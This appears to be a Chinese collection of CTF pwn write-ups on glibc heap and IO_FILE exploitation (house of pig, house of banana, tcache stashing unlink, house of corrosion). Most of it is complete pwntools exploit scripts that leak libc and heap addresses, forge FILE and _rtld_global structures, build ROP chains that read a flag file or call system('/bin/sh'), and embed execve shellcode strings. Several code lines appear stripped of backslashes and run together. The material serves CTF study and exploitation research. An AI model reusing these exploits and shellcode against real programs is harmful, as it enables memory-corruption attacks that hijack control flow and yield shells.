设置rdx+0xa0和+0xa8为orw地址(rsp)和pop rdi(rcx),这样poprdi就会把orw地址处第一个地址给rdi,然后从第二个地址开始执行(小技巧吧,ret的优化)

from pwn import *# context.log_level = "debug"context.arch = "amd64"
p = process('./TinyNote')elf = ELF("./TinyNote")libc = elf.libc
def dbg():    gdb.attach(p)    pause()
#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))sa      = lambda text,data          :p.sendafter(text, str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda text,data          :p.sendlineafter(text, str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda text               :p.recvuntil(text)uu32    = lambda                    :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))uu64    = lambda                    :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"#https://www.exploit-db.com/shellcodes#-----------------------------------------------------------------------------------------
def add(idx):    sla("Choice:",1)    sla("Index:",idx)
def edit(idx,con):    sla("Choice:",2)    sla("Index:",idx)    p.sendafter("Content:",con)
def show(idx):    sla("Choice:",3)    sla("Index:",idx)
def dele(idx):    sla("Choice:",4)    sla("Index:",idx)
#---------------------------------------------------leak add(0)add(1)dele(0)show(0)p.recvuntil("Content:")key = u64(p.recv(6).ljust(8,'x00'))lg("key")heap_base = key<<12lg("heap_base")
#利用UAF任意堆地址写改size合并dele(1)edit(1,p64((heap_base+0x2b0)^key))add(1)add(0)# heap+0x2b0edit(0,p64(0)+p64(0x421))for i in range(33):    add(0)
dele(1)show(1)libc_base = uu64()-0x1e0c00lg('libc_base')#--------------------------------------------------IO_list_all= libc_base+0x1e15c0IO_str_jumps=libc_base+0x1e2560free_hook = libc_base+libc.sym['__free_hook']setcontext=libc_base+libc.sym['setcontext']magic=libc_base+0x14a0a0# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; lg("magic")
pop_rdi=libc_base+0x0000000000028a55pop_rsi=libc_base+0x000000000002a4cfpop_rdx=libc_base+0x00000000000c7f32Open=libc_base+libc.sym['open']Read=libc_base+libc.sym['read']Write=libc_base+libc.sym['write']#--------------------------------------------------fastbin reverse into tcache# 利用UAF控制了tcache_struct# 这里无法直接填满fastbin的原因是,有idx限制,如果改count为7直接来填充fastbin需要能申请很多个不同的chunk# 用tcache就可以依赖tcache_struct达到绕过申请bin里chunk的目的,实现free_chunk的保留add(0)add(1)dele(0)dele(1)
edit(1,p64((heap_base+0x10)^key))add(0)add(0)# heap+0x10/cont
add(1)dele(1)edit(0,p64(2))edit(1,p64((heap_base+0x90)^key))add(1)add(1)# heap+0x90/entry
for i in range(8):# full in tcache    edit(0,p64(0))    add(2)    edit(0,p64(i))    dele(2)
edit(2,p64((IO_list_all+0x70)^key))

for i in range(6):# tcache into fastbin    add(2)    edit(0,p64(7))    dele(2)    edit(0,p64(6-i))
edit(0,p64(0))add(2)# fastbin into tcache#---------------------------------------------------house of pigdef change(addr,context):    edit(0,p64(1))    edit(1,p64(addr))    add(2)    edit(2,context) length=0x230start = heap_base + 0x600end = start + ((length) - 100)//2# 布置IOchange(heap_base+0x30,p64(1)+p64(0xffffffffffff))change(heap_base+0x40,p64(0)+p64(start))change(heap_base+0x50,p64(end))change(heap_base+0xd0,p64(0))change(heap_base+0xe0,p64(0)+p64(IO_str_jumps))
# 设置跳转change(heap_base+0x1a0,p64(free_hook))# 用于mallocchange(heap_base+0x600,p64(magic)+p64(heap_base+0x700))# 用于mempychange(heap_base+0x720,p64(setcontext+61))# 用于magic跳转change(heap_base+0x7a0,p64(heap_base+0x800)+p64(pop_rdi))# 用于setcontextchange(heap_base+0x7c0,'flag'.ljust(0x10,'x00'))change(heap_base+0x800,p64(heap_base+0x7c0)+p64(pop_rsi))# ORWchange(heap_base+0x810,p64(0)+p64(Open))change(heap_base+0x820,p64(pop_rdi)+p64(3))change(heap_base+0x830,p64(pop_rsi)+p64(heap_base+0x900))change(heap_base+0x840,p64(pop_rdx)+p64(0x50))change(heap_base+0x850,p64(Read)+p64(pop_rdi))change(heap_base+0x860,p64(1)+p64(Write))
edit(1,p64(free_hook))edit(0,p64(1))add(2) # _IO_flush_all_lockpp.interactive()

house of pig

(Tcache Stashing Unlink/2.31uaf)

IO_file 利用总结

漏洞点在于mpp+0x128为free的标志位

free后会置1

而在保存用户环节却没有保存这一元素

导致在加载时此位置被重置,实现UAF

IO_file 利用总结
from pwn import *# context.log_level = 'debug'context.arch='amd64'p = process('./pig')elf = ELF("pig")libc = elf.libc#elf=ELF('./pwn')
def dbg():    gdb.attach(p)    pause()
#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))sa      = lambda text,data          :p.sendafter(text, str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda text,data          :p.sendlineafter(text, str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda text               :p.recvuntil(text)uu32    = lambda                    :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))uu64    = lambda                    :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"#https://www.exploit-db.com/shellcodes#-----------------------------------------------------------------------------------------
def menu(cmd):    sla('Choice: ',cmd)def add(size, content):    menu(1)    sla('size: ',size)    sa('message: ',content)def show(idx):    menu(2)    sla('index: ',idx)def edit(idx, content):    menu(3)    sla('index: ',idx)    sa('message: ',content)def free(idx):    menu(4)    sla('index: ',idx)def change(user):    menu(5)    if user == 1:        sla('user:n', 'Ax01x95xc9x1c')    elif user == 2:        sla('user:n', 'Bx01x87xc3x19')    elif user == 3:        sla('user:n', 'Cx01xf7x3cx32')
#--------------------prepare for tcache stashing unlink attack-------------#首先是布置tcache stashing unlink attack,在tcachebin中准备五个chunk,在smallbin中准备两个chunkchange(2)for i in range(5):#B0-B4    add(0x90,'a'*0x30)    free(i)
change(1)add(0x130,'a'*0x60)#A0for i in range(1,8):#A1-A7    add(0x130,'a'*0x60)    free(i)    free(0)change(2)add(0x90,'a'*0x30)#B5change(1)add(0x150,'a'*0x70)#A8
for i in range(9,16):#A9-A15    add(0x150,'a'*0x70)    free(i)
free(8)change(2)add(0xb0,'a'*0x30)#B6change(1)add(0x430,'a'*0x160)#A16#-----------------------leak libc and heap address-------------------------# 然后是泄露libc_base和heap_base# 在上一步的最后,我们申请了一个0x430大小的堆,用来将chunk放入smallbin中,这一步中,我们申请一个chunk(不影响bin),将0x430大小的堆和top chunk隔开,然后释放掉它,两次change,然后直接show就可以打印libc上的值。heap_base泄露tcache上的堆即可change(2)add(0xf0,'a'*0x50)#B7# avoid top chunkchange(1)free(16)
change(2)change(1)show(16)ru("The message is: ")libc_base=u64(p.recv(6).ljust(8,'x00'))-(0x7ff63856abe0-0x7ff63837f000)lg("libc_base")system=libc_base+libc.sym['system']lg("system")free_hook=libc_base+libc.sym['__free_hook']change(2)show(1)ru("The message is: ")heap_base=u64(p.recv(6).ljust(8,'x00'))-0x1eb0lg("heap_base")#-----------------first  large bin attack---------------------------#第一次largebin attack,将堆地址写到了free_hook-8的位置,为了通过tcache stashing unlink attack的检查add(0x440,'a'*0x160)#B8change(1)add(0x430,'a'*0x160)#A17add(0x430,'a'*0x160)#A18add(0x430,'a'*0x160)#A19change(2)free(8)add(0x450,'a'*0x170)#B9change(1)free(17)change(2)edit(8,p64(0)+p64(free_hook-0x28)+'n')
change(3)add(0xa0,'a'*0x30)#C0change(2)edit(8,p64(heap_base+0x3c00)*2+'n')# recover
#----------------second large bin attack---------------------------# 第二次largebin attack,将一个堆地址写到_IO_list_all上,从而伪造FILEchange(3)add(0x380,'a'*0x120)#C1IO_list_all = libc_base + libc.sym['_IO_list_all']change(1)free(19)change(2)edit(8,p64(0)+p64(IO_list_all-0x20)+'n')change(3)add(0xa0,'a'*0x30)#C2change(2)edit(8,p64(heap_base+0x3c00)*2+'n')
#----------------tcache stashing unlink attack----------------------change(1)fd=heap_base+0x2260edit(8,'a'*0x40+p64(fd)+p64(free_hook-0x20)+'n')# headptr
# 由于这里写是跳行写,所以要申请一个正常输入的堆,这里将其地址链入IO_chainchange(3)payload = 'x00'*0x18 + p64(heap_base+0x4540)payload = payload.ljust(0x160, 'x00')add(0x440, payload)
add(0x90,'a'*0x30)# tcache stashing unlink attack
# IO攻击# payload的/bin/sh应该是写在heapbase+0x4620的位置,那么buf_end就应该是heapbase+0x4638# 因为其插值 0x18*2+100 等于0x94,即会申请到0xa0大小的chunk即free_hook-0x10# 然后copy['/bin/shx00' + p64(system)*2]到free_hook-0x10# free触发system
str_jumps=libc_base+(0x7ff9fa4a1560-0x7ff9fa2b4000)fake_IO_FILE = p64(0)*2fake_IO_FILE += p64(0)# _IO_write_basefake_IO_FILE += p64(0xffffffffffff) #_IO_write_ptr = 0xfffffffffffffake_IO_FILE += p64(0)fake_IO_FILE += p64(heap_base+0x4620)                #_IO_buf_basefake_IO_FILE += p64(heap_base+0x4638)                #_IO_buf_endfake_IO_FILE = fake_IO_FILE.ljust(0xb0, 'x00')fake_IO_FILE += p64(0)                    #change _mode = 0fake_IO_FILE = fake_IO_FILE.ljust(0xc8, 'x00')fake_IO_FILE += p64(str_jumps)        #change vtablepayload = fake_IO_FILE + '/bin/shx00' + p64(system)*2sa('Gift:', payload)menu(5)sla('user:n', '')# exitp.interactive()

eznote(方案二/2.35)

IO_file 利用总结

题目一开始calloc了一个堆块来进行堆块管理,add的时候可以申请8个chunk,在管理堆中发生溢出,导致第一个堆的size头被第8个堆的管理信息给覆盖,可供堆合并,实现堆复用


其它功能只能对前7个堆块进行管理


题目的主要思路是利用堆复用泄露地址,和实施largebinattack,劫持IO_list_all,然后伪造IO打libc.memcpy_got为system,触发刷新流。

IO_file 利用总结
# _*_ coding:utf-8 _*_from pwn import *
# context.log_level='debug'p = process("./eznote")elf = ELF("./eznote")libc = elf.libc
def dbg():    gdb.attach(p)    pause()
#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))sa      = lambda text,data          :p.sendafter(text, str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda text,data          :p.sendlineafter(text, str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda text               :p.recvuntil(text)uu32    = lambda                    :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))uu64    = lambda                    :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"#https://www.exploit-db.com/shellcodes#-----------------------------------------------------------------------------------------
def add(size,con):    sla("> ",1)    sla("Size: ",size)    p.sendlineafter("Content: ",con)
def edit(idx,con):    sla("> ",3)    sla("Idx: ",idx)    p.sendlineafter("Content: ",con)
def show(idx):    sla("> ",4)    sla("Idx: ",idx)

def dele(idx):    sla("> ",2)    sla("Idx: ",idx)

add(0x438,'0'*0x438)# 0add(0x408,'1'*0x408)# 1add(0x448,'2'*0x448)# 2add(0x418,'3'*0x418)# 3
add(0x418,'4'*0x418)# 4
add(0x408,'5'*0x408)# 5add(0x408,'6'*0x408)# 6add(0xca1,'a')# 7
dele(0)dele(3)# 0123
add(0x438,'a'*0x438)# 0add(0x408,'a'*0x400)# 3-1dele(1)show(3)ru('Note3:n')key = u64(p.recv(5).ljust(8, 'x00'))lg('key')heap_base = key << 12lg('heap_base')
add(0x448,'a'*0x448)# 1-2dele(4)# 3and4add(0x838,'a'*0x838)# 4-3and4
dele(2)show(1)libc_base = uu64()-0x219ce0IO_list_all = libc_base + 0x21a680IO_str_jumps = libc_base + 0x2166c0memcpy_got = libc_base + 0x0000000000219160memset = libc_base + libc.sym['memset']system = libc_base + 0x50d60lg('IO_list_all')#-----------------------------------------------------------------add(0x1000,'a'*0x1000)# 2edit(1,p64(libc_base+0x21a0e0)*2+p64(0)+p64(IO_list_all-0x20))dele(0)add(0x1000,'a'*0x1000)# 0dele(0)add(0x438, 'a'*0x438)# 0#-----------------------------------------------------------------
new_size = 0x408copy_heap_addr = heap_base+0x10next_chain = heap_base+0x2d00-0x10old_blen = (new_size-100)//2
fake_IO_FILE =  p64(0)*2fake_IO_FILE += p64(0)# _IO_write_base = 0fake_IO_FILE += p64(0xffffffffffffffff)# _IO_write_ptr = 0xfffffffffffffffffake_IO_FILE += p64(0)fake_IO_FILE += p64(copy_heap_addr)# _IO_buf_basefake_IO_FILE += p64(copy_heap_addr+old_blen)# _IO_buf_endfake_IO_FILE =  fake_IO_FILE.ljust(0x58,'x00')fake_IO_FILE += p64(next_chain)# _chainfake_IO_FILE =  fake_IO_FILE.ljust(0x78,'x00')fake_IO_FILE += p64(heap_base)# _lock = writable addressfake_IO_FILE =  fake_IO_FILE.ljust(0xB0,'x00')fake_IO_FILE += p64(0)# _mode = 0fake_IO_FILE =  fake_IO_FILE.ljust(0xC8,'x00')fake_IO_FILE += p64(IO_str_jumps)# vtable
new_size = 0x288copy_heap_addr = heap_base+0x790next_chain = heap_base+0x2dd0-0x10old_blen = (new_size-100)//2
fake_IO_FILE2 =  p64(0)*2fake_IO_FILE2 += p64(0)# _IO_write_base = 0fake_IO_FILE2 += p64(0xffffffffffffffff)# _IO_write_ptr = 0xfffffffffffffffffake_IO_FILE2 += p64(0)fake_IO_FILE2 += p64(copy_heap_addr)# _IO_buf_basefake_IO_FILE2 += p64(copy_heap_addr+old_blen)# _IO_buf_endfake_IO_FILE2 =  fake_IO_FILE2.ljust(0x58,'x00')fake_IO_FILE2 += p64(next_chain)# _chainfake_IO_FILE2 =  fake_IO_FILE2.ljust(0x78,'x00')fake_IO_FILE2 += p64(heap_base)# _lock = writable addressfake_IO_FILE2 =  fake_IO_FILE2.ljust(0xB0,'x00')fake_IO_FILE2 += p64(0)# _mode = 0fake_IO_FILE2 =  fake_IO_FILE2.ljust(0xC8,'x00')fake_IO_FILE2 += p64(IO_str_jumps)# vtable
new_size = 0x128copy_heap_addr = heap_base+0x1830next_chain = heap_base+0x2e90old_blen = (new_size-100)//2
fake_IO_FILE3 =  p64(0)*2fake_IO_FILE3 += p64(0)# _IO_write_base = 0fake_IO_FILE3 += p64(0xffffffffffffffff)# _IO_write_ptr = 0xfffffffffffffffffake_IO_FILE3 += p64(0)fake_IO_FILE3 += p64(copy_heap_addr)# _IO_buf_basefake_IO_FILE3 += p64(copy_heap_addr+old_blen)# _IO_buf_endfake_IO_FILE3 =  fake_IO_FILE3.ljust(0x58,'x00')fake_IO_FILE3 += p64(next_chain)# _chainfake_IO_FILE3 =  fake_IO_FILE3.ljust(0x78,'x00')fake_IO_FILE3 += p64(heap_base)# _lock = writable addressfake_IO_FILE3 =  fake_IO_FILE3.ljust(0xB0,'x00')fake_IO_FILE3 += p64(0)# _mode = 0fake_IO_FILE3 =  fake_IO_FILE3.ljust(0xC8,'x00')fake_IO_FILE3 += p64(IO_str_jumps)# vtable
new_size = 0x108copy_heap_addr = libc_basenext_chain = 0old_blen = (new_size-100)//2
fake_IO_FILE4 =  p64(0)*2fake_IO_FILE4 += p64(0)# _IO_write_base = 0fake_IO_FILE4 += p64(0xffffffffffffffff)# _IO_write_ptr = 0xfffffffffffffffffake_IO_FILE4 += p64(0)fake_IO_FILE4 += p64(copy_heap_addr)# _IO_buf_basefake_IO_FILE4 += p64(copy_heap_addr+old_blen)# _IO_buf_endfake_IO_FILE4 =  fake_IO_FILE4.ljust(0x58,'x00')fake_IO_FILE4 += p64(next_chain)# _chainfake_IO_FILE4 =  fake_IO_FILE4.ljust(0x78,'x00')fake_IO_FILE4 += p64(heap_base)# _lock = writable addressfake_IO_FILE4 =  fake_IO_FILE4.ljust(0xB0,'x00')fake_IO_FILE4 += p64(0)# _mode = 0fake_IO_FILE4 =  fake_IO_FILE4.ljust(0xC8,'x00')fake_IO_FILE4 += p64(IO_str_jumps)# vtable


edit(3,p16(1)*0x20 + p64(memcpy_got-0x10)*0x30)# 0x780  # tcache struct data 0x40/0xd0edit(1,fake_IO_FILE)# 0xb90 largebinedit(2,fake_IO_FILE2 + fake_IO_FILE3 + fake_IO_FILE4)# 0x1000edit(5,'/bin/shx00'*2+p64(system)+'x00'*0x20+p64(memset))# 410dele(6)# 0xc40
sla("> ",5)
p.interactive()
IO_file 利用总结

house of banana

利用链

exit-> __run_exit_handlers->_dl_fini->_dl_fini+520(setcontext)

适用情况

由于利用的是exit,要求比较宽松

满足任一条件即可:

1.程序能够显式的执行exit函数

2.程序通过libc_start_main启动的主函数,且主函数能够结束

利用原理和技巧杂谈

会在_dl_fini中调用(fini_t)array[i]这个数组

if (l->l_info[DT_FINI_ARRAY] != NULL){  ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);  unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));  while (i-- > 0)     ((fini_t) array[i]) (); }

我们要做的就是伪造rtld_global结构体,篡改引索,最后执行到我们伪造的(fini_t)array[i]。

ha1vk师傅也给出了pochttps://www.anquanke.com/post/id/222948这里主要讲在pwn题里实际场景的应用了。

要注意的点:
1._rtld_global+8的位置一般为4,注意输入时是否带回车导致覆盖掉该部分,会影响结构体遍历,可能会导致该错误

IO_file 利用总结

2.有时候可能因为栈平衡的原因,补一个在伪造中补一个ret即可

还是husk那道题,这里给一个2.31下 orw绕过沙箱的exp,最后利用部分,可以在ret地址下断点。

# 2.31# _*_ coding:utf-8 _*_from pwn import *# context.log_level = 'debug'context.arch='amd64'p = process('./husk')elf = ELF("./husk")libc = elf.libc
def dbg():    gdb.attach(p)    pause()
#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))sa      = lambda text,data          :p.sendafter(text, str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda text,data          :p.sendlineafter(text, str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda text               :p.recvuntil(text)uu32    = lambda                    :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))uu64    = lambda                    :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"#https://www.exploit-db.com/shellcodes#-----------------------------------------------------------------------------------------
def dbg():    gdb.attach(p)    pause()
def add(size,con):   sla('>>','1')   sla('Size:',size)   p.sendafter('Content:',con)
def dele(idx):   sla('>>','2')   sla('Index:',idx)
def show(idx):   sla('>>','3')   sla('Index:',str(idx))
def edit(idx,con):   sla('>>','4')   sla('Index:',str(idx))   p.sendafter('Content:',con)
#-------------------------leak----------------------------add(0x520,'e4l4') #0add(0x428,'e4l4') #1add(0x500,'e4l4') #2add(0x428,'e4l4') #3
dele(0)add(0x600,'c'*0x600) #4add(0x600,'c'*0x600) #5show(0)ru('Content: ')main_arena = u64(p.recv(6).ljust(8,'x00'))libc_base = main_arena-0x1ec010lg("libc_base")
rtl_global = libc_base + 0x222060# p &_rtld_globallg("rtl_global")
setcontext = libc_base + libc.sym['setcontext'] + 61ret = libc_base + libc.sym['setcontext'] + 0x14Elg('ret')pop_rdi = libc_base + 0x0000000000026b72pop_rsi = libc_base + 0x0000000000027529pop_rdx_r12 = libc_base + 0x000000000011c1e1Open=libc_base+libc.sym['open']Read=libc_base+libc.sym['read']Write=libc_base+libc.sym['write']
# p *(struct link_map*)0x7f21c2a52740edit(0,'a'*0x10)show(0)p.recvuntil('a'*0x10)heap_base = u64(p.recv(6).ljust(8,'x00'))-0x290lg("heap_base")edit(0,p64(main_arena)*2)#-------------------------------------------------------------
dele(2)edit(0,p64(main_arena)*2 + p64(0) + p64(rtl_global - 0x20))add(0x600,'large bin attack!!')


fake_heap_addr = heap_base + 0xbf0
flag_addr = fake_heap_addr+0xb8orw =  p64(pop_rsi)+p64(0)+p64(Open)orw += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_base+0xb50)+p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(Read)orw += p64(pop_rdi)+p64(1)+p64(Write)+"flag".ljust(8,'x00')
payload = p64(0) + p64(libc_base + 0x223740) + p64(0) + p64(fake_heap_addr)# _rtld_global+2440payload += p64(setcontext) + p64(ret)# rdx_addr/call rdxpayload += p64(flag_addr)# rsppayload += orw# 0x78payload = payload.ljust(0xc8,'x00')
payload += p64(fake_heap_addr + 0x28 + 0x18)# rdx+0xa0payload += p64(pop_rdi)# rdx+0xa8payload = payload.ljust(0x100,'x00')payload += p64(fake_heap_addr + 0x10 + 0x110)*0x3#payload += p64(0x10)payload = payload.ljust(0x31C - 0x10,'x00')payload += 'x08'
edit(2,payload)edit(1,'a'*0x420 + p64(fake_heap_addr + 0x20))# call setcontext#getshellp.sendlineafter('>>','5')# dbg()p.sendlineafter('name:','e4l4')
p.interactive()


husk(2.30uaf)

西湖论剑2020决赛 husk

这题简直像这个方法的例题。。

ha1vk师傅发现的一种做法,其实不算IO利用,这里写一起了

题目是2.30的版本

IO_file 利用总结

漏洞点

IO_file 利用总结

这里贴一下这道题的system解,题目比较标准

这个解相当于一个范式

这里分析一下伪造_rtld_global的部分

IO_file 利用总结
IO_file 利用总结
#2.30 system# _*_ coding:utf-8 _*_from pwn import *# context.log_level = 'debug'context.arch='amd64'p = process('./husk')elf = ELF("./husk")libc = elf.libc
def dbg():    gdb.attach(p)    pause()
#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))sa      = lambda text,data          :p.sendafter(text, str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda text,data          :p.sendlineafter(text, str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda text               :p.recvuntil(text)uu32    = lambda                    :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))uu64    = lambda                    :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
sh_x86_18="x6ax0bx58x53x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x86_20="x31xc9x6ax0bx58x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"sh_x64_21="xf7xe6x50x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x89xe7xb0x3bx0fx05"#https://www.exploit-db.com/shellcodes#-----------------------------------------------------------------------------------------
def dbg():    gdb.attach(p)    pause()
def add(size,con):   sla('>>','1')   sla('Size:',size)   p.sendafter('Content:',con)
def dele(idx):   sla('>>','2')   sla('Index:',idx)
def show(idx):   sla('>>','3')   sla('Index:',str(idx))
def edit(idx,con):   sla('>>','4')   sla('Index:',str(idx))   p.sendafter('Content:',con)
#-------------------------leak----------------------------add(0x520,'e4l4') #0 # 这里size会影响下边的偏移add(0x428,'e4l4') #1add(0x500,'e4l4') #2add(0x428,'e4l4') #3
dele(0)add(0x600,'c'*0x600) #4add(0x600,'c'*0x600) #5show(0)ru('Content: ')main_arena = u64(p.recv(6).ljust(8,'x00'))libc_base = main_arena - 0x1eb010lg("libc_base")
rtl_global = libc_base + 0x220060# p &_rtld_globallg("rtl_global")
setcontext = libc_base + libc.sym['setcontext'] + 61ret = libc_base + libc.sym['setcontext'] + 0x14Epop_rdi = libc_base + 0x00000000000277e9bin_sh = libc_base + libc.search('/bin/shx00').next()system =  libc_base + libc.sym['system']lg("system")
edit(0,'a'*0x10)show(0)p.recvuntil('a'*0x10)heap_base = u64(p.recv(6).ljust(8,'x00'))-0x290lg("heap_base")edit(0,p64(main_arena)*2)#-------------------------------------------------------------
dele(2)edit(0,p64(main_arena)*2 + p64(0) + p64(rtl_global - 0x20))add(0x600,'large bin attack!!')

fake_heap_addr = heap_base + 0xbf0# rtl_global填的地址# 这里这个地址用于调用原结构题的链,不用像POC里伪造4个链# 我找的方法主要是先找 _rtld_global,然后找到_ns_loaded字段# p *(struct link_map*)0x7f9a19bb79e8 # 去引索 l_next 即我们需要的值payload  = p64(0) + p64(libc_base + 0x221730)# _rtld_global+2440payload += p64(0) + p64(fake_heap_addr)payload += p64(setcontext) + p64(ret)# 用于call|这个地址会被赋值为rdx
payload += p64(bin_sh)# rsppayload += p64(0)payload += p64(system)payload += 'x00'*0x80payload += p64(fake_heap_addr + 0x28 + 0x18)# rdx+0xa0 rsppayload += p64(pop_rdi)# rdx+0xa8 rcxpayload = payload.ljust(0x100,'x00')
payload += p64(fake_heap_addr + 0x10 + 0x110)*0x3# payload += p64(0x10)payload = payload.ljust(0x31C - 0x10,'x00')payload += p8(0x8)
edit(2,payload)edit(1,'a'*0x420 + p64(fake_heap_addr + 0x20))# call setcontext
sla('>>','5')sla('name:','e4l4')
p.interactive()

note2

来自2022柏鹭杯pwn2,2.35_0ubuntu3.1的版本

IO_file 利用总结

题目限制了malloc的size范围,UAF漏洞,并且没有edit功能,这里小size就用house of botcake来实现任意地址申请

IO_file 利用总结
IO_file 利用总结

后续就考虑house of banana,做题的时候因为fgets回车输入导致rtld_gloabl某些变量被覆盖,导致出错,要注意。

# _*_ coding:utf-8 _*_from pwn import *import sysimport structimport osimport hashlibfrom hashlib import sha256
# context.log_level = "debug"context.arch = "amd64"context.terminal = ['tmux', 'splitw', '-h']
# p = remote("39.101.69.5","12032")# p = process('./ld-2.33.so ./TinyNote'.split(),env={'LD_PRELOAD':'./libc-2.33.so'})p = process("./note2")elf = ELF("./note2")libc = ELF("./libc.so.6")
def dbg():    gdb.attach(p)    pause()
#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))sa      = lambda text,data          :p.sendafter(text, str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda text,data          :p.sendlineafter(text, str(data))r       = lambda num=4096           :p.recv(num)ru      = lambda text               :p.recvuntil(text)ia      = lambda                    :p.interactive()hs256   = lambda data               :sha256(str(data).encode()).hexdigest()l32     = lambda                    :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))l64     = lambda                    :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))uu32    = lambda                    :u32(p.recv(4).ljust(4,'x00'))uu64    = lambda                    :u64(p.recv(6).ljust(8,'x00'))int16   = lambda data               :int(data,16)lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))#-----------------------------------------------------------------------------------------
def add(idx,size,con=''):    sla("> ",1)    sla("> ",idx)    sla("> ",size)    p.sendlineafter("Enter content: ",con)
def show(idx):    sla("> ",3)    sla("> ",idx)
def dele(idx):    sla("> ",2)    sla("> ",idx)

for i in range(10):    add(i,0x90)
for i in range(8):    dele(i)
# dele(0)show(7)libc_base = l64()-0x219ce0lg('libc_base')ret = libc_base + 0x0000000000029cd6pop_rdi = libc_base +0x000000000002a3e5pop_rsi = libc_base +0x000000000002be51pop_rdx_r12 = 0x000000000011f497 + libc_basesetcontext = libc_base + libc.sym['setcontext']+61rtld_global = libc_base + 0x26d040bin_sh = libc_base + libc.search('/bin/shx00').next()system =  libc_base + libc.sym['system']IO_list_all = libc_base + 0x21a680IO_wfile_jumps = libc_base + 0x2160c0

lg('rtld_global')lg("system")lg('IO_list_all')lg('ret')show(0)key = u64(p.recv(5).ljust(8,'x00'))lg("key")heap_base = key<<12lg("heap_base")dele(8)add(0,0x90)dele(8)
add(1,0xc0,'a'*0xa0+p64((rtld_global)^key))add(2,0x90)add(3,0x90,p64(heap_base+0x8d0)+p64(4)[:-1])dele(9)
fake_heap_addr = heap_base + 0x8d0# rtl_global填的地址payload  = p64(0) + p64(libc_base + 0x26e890)# _rtld_global+2440payload += p64(0) + p64(fake_heap_addr)payload += p64(setcontext) + p64(ret)# 用于call|这个地址会被赋值为rdx
payload += p64(bin_sh)# rsppayload += p64(ret)payload += p64(system)payload += 'x00'*0x80payload += p64(fake_heap_addr + 0x28 + 0x18)# rdx+0xa0 rsppayload += p64(pop_rdi)# rdx+0xa8 rcxpayload = payload.ljust(0x100,'x00')
payload += p64(fake_heap_addr + 0x10 + 0x110)*0x3# payload += p64(0x10)payload = payload.ljust(0x31C - 0x10,'x00')payload += p8(0x8)+'x00'*8
add(4,0x200,payload)add(5,0x200,payload[0x210:])add(6,0x98,'a'*0x90+p64(fake_heap_addr + 0x20))sla("> ",4)ia()
IO_file 利用总结

House of Corrosion

(打global_max_fast)

house of corrosion 可以实现任意地址写任意值,算是largebinattack的上位,主要利用手法:

前置条件是劫持global_max_fast为大值

1.计算目标位置偏移size,申请相应size的堆(也可以直接伪造)

p &main_arena.fastbinsYsize位 = (delta * 2) + 0x20 //delta为目标地址与fastbinY的offset

